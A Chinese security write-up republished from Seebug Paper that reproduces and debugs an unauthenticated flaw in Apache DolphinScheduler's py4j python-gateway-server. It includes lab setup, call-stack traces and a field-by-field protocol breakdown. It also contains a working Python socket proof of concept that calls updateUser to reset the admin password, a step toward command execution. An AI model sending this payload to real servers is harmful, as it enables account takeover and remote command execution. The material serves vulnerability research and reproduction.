Apache DolphinScheduler 未授权任意命令执行
2023-12-25 18:13:0 Author: paper.seebug.org(查看原文) 阅读量:22 收藏

作者:标准云
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送! 投稿邮箱:[email protected]

看到了师傅的这篇文章《记一次Apache某项目的漏洞复现与挖掘》 我觉得漏洞的挖掘以及漏洞的利用特别有意思,于是我也想自己进行复现分析。

Apache DolphinScheduler,python-gateway-server 在默认情况下启动没有进行身份校验,监听服务在 25333 端口,python-gateway-server 会接收请求并去调用 PythonGateway.java中的方法,在一些版本中存在修改用户信息的函数,可以实现未授权修改用户信息并登录。结合 Apache DolphinScheduler 后台可以命令执行,最后实现未授权命令执行。

环境搭建

利用 docker 来进行环境的搭建操作

https://dolphinscheduler.apache.org/en-us/docs/2.0.5/guide/installation/docker

漏洞的出现原因是因为 python-gateway-server ,所以我们需要修改一下 docker-compose.yml, 文件将服务启动,端口映射出来。

  dolphinscheduler-PythonGatewayServer:
    image: apache/dolphinscheduler:2.0.5
    command: python-gateway-server
    ports:
    - 25333:25333
    environment:
      TZ: Asia/Shanghai
    env_file: config.env.sh
    healthcheck:
      test: ["CMD", "/root/checkpoint.sh", "PythonGatewayServer"]
      interval: 30s
      timeout: 5s
      retries: 3
    depends_on:
    - dolphinscheduler-postgresql
    - dolphinscheduler-zookeeper
    volumes:
    - dolphinscheduler-worker-data:/tmp/dolphinscheduler
    - dolphinscheduler-logs:/opt/dolphinscheduler/logs
    - dolphinscheduler-shared-local:/opt/soft
    - dolphinscheduler-resource-local:/dolphinscheduler
    restart: unless-stopped
    networks:
    - dolphinscheduler

http://192.168.184.1:12345/dolphinscheduler/doc.html?language=zh_CN&lang=cn 接口文档

漏洞复现

发送请求需要安装依赖库apache-dolphinscheduler

python -m pip install apache-dolphinscheduler==3.0.0b2

https://dolphinscheduler.apache.org/python/main/start.html

安装成功后发现发送出现问题:

在测试的时候发现不知道是因为安装 apache-dolphinscheduler 的版本的问题,还是搭建环境的问题,导致运行时出现的错误并不相同。

为了实现利用,对不同 apache-dolphinscheduler 的版本测试。

在环境中安装了多个python 库的版本,如何在运行时指定版本。

在Python中,你可以使用虚拟环境(virtual environment)来管理不同库的版本。虚拟环境可以让你在同一台计算机上管理多个独立的Python环境,每个环境可以有自己的库和版本。

[+] 安装虚拟环境管理工具(如果尚未安装):
    pip install virtualenv

[+] 创建虚拟环境:
    virtualenv myenv

[+] 激活虚拟环境:
    myenv\Scripts\activate

[+] 安装特定版本的库:
    pip install package_name==x.x.x

最后发现应该是因为我利用 docker 启动的 python-gateway-server 存在一定的问题。因为是多服务器启动,导致调试不是很方便,所以还是采用作者搭建的环境方式。

docker pull apache/dolphinscheduler-standalone-server:3.0.0-beta-1
docker run --name dolphinscheduler-standalone-server -p 12345:12345 -p 25333:25333 -p 9898:9898 -d apache/dolphinscheduler-standalone-server:3.0.0-beta-1

漏洞分析

实在是复现不出来出现各种各样的问题,于是现在还是调试着看。

-docker exec -it dolphinscheduler-standalone-server /bin/bash -c "cat /opt/dolphinscheduler/bin/start.sh" #查看启动文件
- docker cp dolphinscheduler-standalone-server:/opt/dolphinscheduler/bin/start.sh start.sh #将启动文件拷贝出来
- 将启动文件的JAVA_OPTS进行修改

  JAVA_OPTS=${JAVA_OPTS:-"-server -Duser.timezone=${SPRING_JACKSON_TIME_ZONE} -Xms1g -Xmx1g -Xmn512m -XX:+PrintGCDetails -Xloggc:gc.log -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=dump.hprof"}

  替换为

  JAVA_OPTS=${JAVA_OPTS:-"-server -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=9898 -Duser.timezone=${SPRING_JACKSON_TIME_ZONE} -Xms1g -Xmx1g -Xmn512m -XX:+PrintGCDetails -Xloggc:gc.log -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=dump.hprof"}
  • docker cp start.sh dolphinscheduler-standalone-server:/opt/dolphinscheduler/bin/start.sh #将修改后的文件复制进去
  • docker exec -it dolphinscheduler-standalone-server /bin/bash -c "chmod -R 777 /opt/dolphinscheduler/bin/start.sh" #赋予权限
  • docker restart dolphinscheduler-standalone-server # 重启容器

启动调试操作,运行 python tutorial.py进行代码分析。

抓取数据流量,大概得到发送的数据包以及返回的相对应的信息,添加断点进行调试分析。

py4j.GatewayConnection#run

在这个地方我们可以看到,无论是有没有认证都会执行 execute。

py4j.commands.CallCommand#execute

py4j.commands.AbstractCommand#invokeMethod

py4j.Gateway#invoke(java.lang.String, java.lang.String, java.util.List<java.lang.Object>)

py4j.reflection.ReflectionEngine#getMethod(java.lang.Object, java.lang.String, java.lang.Object[])

py4j.reflection.ReflectionEngine#getMethod(java.lang.Class<>, java.lang.String, java.lang.Class<>[])

这个地方应该是比较重要的部分,会依据 clazz name parametes 来控制说、类名、函数名、参数内容 (ps 这也是为什么 2.0.5 无法利用成功的原因,根本没有class org.apache.dolphinscheduler.api.python.PythonGateway)。

getMethod:297, ReflectionEngine (py4j.reflection)
getMethod:326, ReflectionEngine (py4j.reflection)
invoke:274, Gateway (py4j)
invokeMethod:132, AbstractCommand (py4j.commands)
execute:79, CallCommand (py4j.commands)
run:238, GatewayConnection (py4j)
run:750, Thread (java.lang)

到此也正好对应了报错的调用链,原因是 getCodeAndVersion 仅仅有两个参数,传三个参数对不上了。

org.apache.dolphinscheduler.api.python.PythonGateway#getCodeAndVersion

修改传参参数,最后的调用栈。

getCodeAndVersion:170, PythonGateway (org.apache.dolphinscheduler.api.python)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:244, MethodInvoker (py4j.reflection)
invoke:357, ReflectionEngine (py4j.reflection)
invoke:282, Gateway (py4j)
invokeMethod:132, AbstractCommand (py4j.commands)
execute:79, CallCommand (py4j.commands)
run:238, GatewayConnection (py4j)
run:750, Thread (java.lang)

此时我们可以未授权的调用 PythonGateway中的任意方法,为了造成更大危害,我们依次查看各个版本的 src/main/java/org/apache/dolphinscheduler/api/python/PythonGateway.java ,2.0.X 版本中并不存在这个文件。

3.1.0 中 PythonGateway 引入了方法 updateUser

3.1.2 中就引入了启动时的身份校验

目前可以通过updateUser来更新用户信息,从而实现登录最后后台命令执行仅适用于版本 3.1.0、 3.1.1。

创建环境并利用,发送数据包前。

import socket

client = socket.socket()
client.connect(('192.168.184.1',25333))#Destination ip address and port number
data = '''c
t
updateUser
sadmin
sdolphinscheduler1234
[email protected]
s18888888888
stest
stest
i1
e
'''
client.send(data.encode('utf-8'))
data_recv = client.recv(1024)
print(data_recv.decode())

发送数据包后

https://github.com/apache/dolphinscheduler/compare/3.0.0-beta-1...3.2.0

对参数的相关解析

ps:当然可能猜测的也是存在问题的~

对传入参数的解析

  • 第一行字符 c 作为发送数据包的第一个字段(固定);

  • 第二行字符 t 作为触发类 (存在 t、GATEWAY_SERVER、j 三个选择);

  • 第三行字符串作为请求类的函数;

  • 第四行字符串~最后一行字符串 依次为请求函数的字段(每个字符串的第一个字符代表了参数类型);

  • 最后一行字符 e 作为发送数据包的最后一个字段(固定);

截取一些代码片段作为佐证

py4j/commands/CallCommand.java

py4j.commands.CallCommand#execute

依次获取第二行字符作为 targetObjectId,第三行字符 作为 methodName,第四行字符~, 最后一行字符作为arguments

arguments 调用 getArguments进行处理。

py4j.commands.AbstractCommand#getArguments

在函数中会依次调用 Protocol.getObject对每一行的字符串进行处理。

py4j.Protocol#getObject

会根据每一行的第一个字符来进行判断参数类型。

py4j.Gateway#invoke(java.lang.String, java.lang.String, java.util.List<java.lang.Object>)

会调用 Object targetObject = getObjectFromId(targetObjectId);,来根据第二行字符targetObjectId 来查询的类名

有三个值可供选择

py4j.Protocol#isEnd

函数中标明 e 作为发送数据包的最后一个字段。


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/3096/


文章来源: https://paper.seebug.org/3096/
如有侵权请联系:admin#unsafe.sh